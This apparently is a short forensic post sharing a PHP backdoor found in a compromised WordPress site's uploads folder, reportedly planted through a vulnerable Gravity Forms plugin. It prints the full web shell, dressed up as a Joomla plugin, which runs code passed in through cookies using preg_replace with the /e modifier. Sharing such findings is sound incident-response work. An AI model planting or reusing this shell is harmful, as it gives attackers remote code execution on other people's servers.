WordPress backdoor found during forensic investigation of blog. Was located in folder wp-content/uploads/

_input__test.php.

<?php
/**
 * @package     Joomla.Plugin.System
 * @since       1.5
 *
 *
 */
class PluginJoomla {
	public function __construct() {
		$jq = @$_COOKIE['ContentJQ3'];
		if ($jq) {
			$option = $jq(@$_COOKIE['ContentJQ2']);
			$au=$jq(@$_COOKIE['ContentJQ1']);
			$option("/438/e",$au,438); die();
		}
		else
			phpinfo();die;
	}
}
$content = new PluginJoomla;

Uploaded via a vulnerable version of Gravity Forms

I just found this on a hacked website.